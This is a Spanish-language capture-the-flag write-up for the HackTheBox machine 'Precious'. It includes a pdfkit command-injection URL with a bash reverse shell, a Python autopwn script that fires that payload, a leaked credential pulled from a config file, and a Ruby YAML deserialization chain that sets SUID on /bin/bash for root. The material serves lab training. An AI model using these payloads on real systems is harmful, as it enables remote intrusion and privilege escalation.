Post

Precious Writeup

Precious Writeup

Precious

Una máquina ya retirada, muy interesante si se esta iniciando en los CTF’s, y para practicar Python Scripting, se explota una vulnerabilidad de Pdfkit, para encontrar una fuga de información, y despues de ganar acceso a la máquina, abusar de privilegios sudoers

Recopilación de información

Nos proporcionan la dirección ip de la máquina

Instance

Primero vamos a comprobar la conexión con la máquina, enviando una traza ICMP y a partir de esto, podemos ver que nos enfrentamos a una máquina cuyo sistema operativo es Linux.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.189
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data.
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=95.2 ms

--- 10.10.11.189 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.195/95.195/95.195/0.000 ms

Realizamos un escaneo para encontrar que puertos se encuentran abiertos en la máquina victima, así mismo conocer que servicios son los que se están ejecutando

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times 
may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 17:19 -05
Initiating SYN Stealth Scan at 17:19
Scanning 10.10.11.189 [65535 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Completed SYN Stealth Scan at 17:20, 16.70s elapsed (65535 total ports)
Nmap scan report for 10.10.11.189
Host is up, received user-set (0.097s latency).
Scanned at 2023-05-03 17:19:53 -05 for 17s
Not shown: 65406 closed tcp ports (reset), 127 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
           Raw packets sent: 82568 (3.633MB) | Rcvd: 80030 (3.201MB)

Vemos dos puertos, vamos a conocer un poco más preciso, estos servicios, junto con su versión, para ellos, vamos a ejecutar scripts por defecto que nmap proporciona

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -p22,80 -sCV 10.10.11.189 -oN target
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 17:22 -05
Nmap scan report for 10.10.11.189
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds

Vamos a modificar nuestro /etc/hosts para que apunte a precious.htb

Revisamos la página web y encontramos esto:

Picture 1

Pdfkit v0.8.6 Explotation - Command Injection (CVE-2022-25765)

Habilitamos un servidor http con Python, y subimos un archivo con extensión .html, obtenemos un pdf, lo descargamos y revisamos los detalles

Picture 2

Y encontramos lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ exiftool file.pdf
ExifTool Version Number         : 12.16
File Name                       : file.pdf
Directory                       : .
File Size                       : 4.5 KiB
File Modification Date/Time     : 2023:05:05 11:49:50-05:00
File Access Date/Time           : 2023:05:05 11:49:50-05:00
File Inode Change Date/Time     : 2023:05:05 11:50:17-05:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Encontramos con que fue generado (pdfkit v0.8.6), ahora vamos a mirar como podemos explotar dicho servicio

Análisis de vulnerabilidades

Encontramos en esta página:

Command Injection in pdfkit CVE-2022-25765 Snyk

Que para versiones menores a la 0.8.7.2 hay una vulnerabilidad de Command Injection , vamos a intentar y vamos a ver como responde la página.

Con el servicio HTTP corriendo, nos ponemos en escucha por el puerto 443

1
nc -nlvp 443

Y nos enviamos una consola interactiva

1
http://{Attack_ip}:80/?name=%20`bash -c "bash -i >& /dev/tcp/{Attack_ip}/443 0>&1"`

Y en efecto, obtenemos una consola interactiva, a la cual le aplicamos su respectivo tratamiento a la TTY

1
2
ruby@precious:/var/www/pdfapp$ whoami
ruby

Advanced Python Scripting - AutoPwn Script

Como adicional, hemos creado un script en Python, que nos permita levantar el servicio HTTP de una manera más comoda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python3

import requests
import signal
import pdb # Debugging Purposes
import sys
import time
import subprocess
import atexit
import multiprocessing
from pwn import log, listen


def def_handler(sig, frame):
    cleanup()
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)


main_url = 'http://precious.htb'
http_server = subprocess.Popen(["python3", "-m", "http.server", "80"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
lport = 443


def cleanup():

    if http_server.poll() is None: # Preguntamos si el servicio aún está corriendo
        http_server.kill()

atexit.register(cleanup) # AtExit, al salir, o al terminar el programa, quiero que llames a la función cleanup


# Automatiza la solicitud
def makeRequests():

    post_data = {
        'url': 'http://10.10.14.25:80/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.25/443 0>&1"`'  
    }

    # Vamos a realizar una petición por post, a la url principal, y le vamos a mandar post_data -> (Recordemos que esto se tomo de BurpSuite)
    r = requests.post(main_url, data=post_data)


def main():

    p1 = log.progress("Servicios")
    p1.status("Iniciando el servicio HTTP sobre el puerto 80")
    time.sleep(2)

    if http_server.poll() is None:
        p1.success("Servicio HTTP iniciado exitosamente")
    else:
        p1.error("Ha habido algun problema con el servicio HTTP")
        cleanup()
        sys.exit(1)

    try:
        proc = multiprocessing.Process(target=makeRequests, args=())
        proc.start()
    except Exception as e:
        log.error(str(e))
        cleanup()
        sys.exit(1)


    # Vamos a estar en escucha por el puerto y un tiempo de 20 seg - Con with, cerramos la conexion automaticamente por detrás
    with listen(lport, timeout=20) as shell:
        if shell.wait_for_connection():
            print()
            shell.interactive()

if __name__ == '__main__':

    main()

Explotación de Vulnerabilidades

Nos movemos a /home y buscamos la ruta de la flag para el usuario, y a encontramos en el directorio personal del usuario henry, lo que quiere decir que debemos migrar a ese usuario para acceder.

Information Leakage (User Pivoting)

Desde el directorio personal de ruby encontramos las credenciales de henry

1
2
3
4
5
6
7
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$

Migramos al usuario y encontramos la primera flag

1
2
3
4
5
6
7
ruby@precious:~/.bundle$ su henry
Password: 
henry@precious:/home/ruby/.bundle$ cd
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt 
henry@precious:~$

Post Explotación

Ahora que ya tenemos dominio sobre el usuario, necesitamos elevar nuestro privilegios y convertirnos en root

Para eso, exploramos vias potenciales de escalación de privilegios

Abusing sudoers privilege + Yaml Deserialization Attack

Nos encontramos con que el usuario henry puede ejecutar este comando como sudo sin necesidad de proporcionar contraseña

1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Leemos que es lo que está ejecutando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))  
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Encontramos que está cargando un archivo llamado dependencies.yml el cual no está indicando con ruta absoluta, es decir, lo cargará desde el lugar donde se ejecute el comando.

Investigando un poco, sobre que archivo podriamos crear para obtener una ejecución de comandos, nos encontramos con esta página:

Blind Remote Code Execution through YAML Deserialization

Donde se indica que es posible la ejecución remota de comandos (RCE) al cargar esta estructura

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: {code_to_inject} 
          method_id: :resolve

En este caso, le vamos a agregar permisos SUID a una bin/bash para así ejecutar el siguiente comando

1
2
3
4
5
6
{code_to_inject} = "chmod u+s /bin/bash"
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1#

Y ya somos usuarios root

Por último buscamos la flag, que comprueba que comprometimos el sistema

1
2
bash-5.1# cat /root/root.txt 
bash-5.1#

Pwned!

This post is licensed under CC BY 4.0 by the author.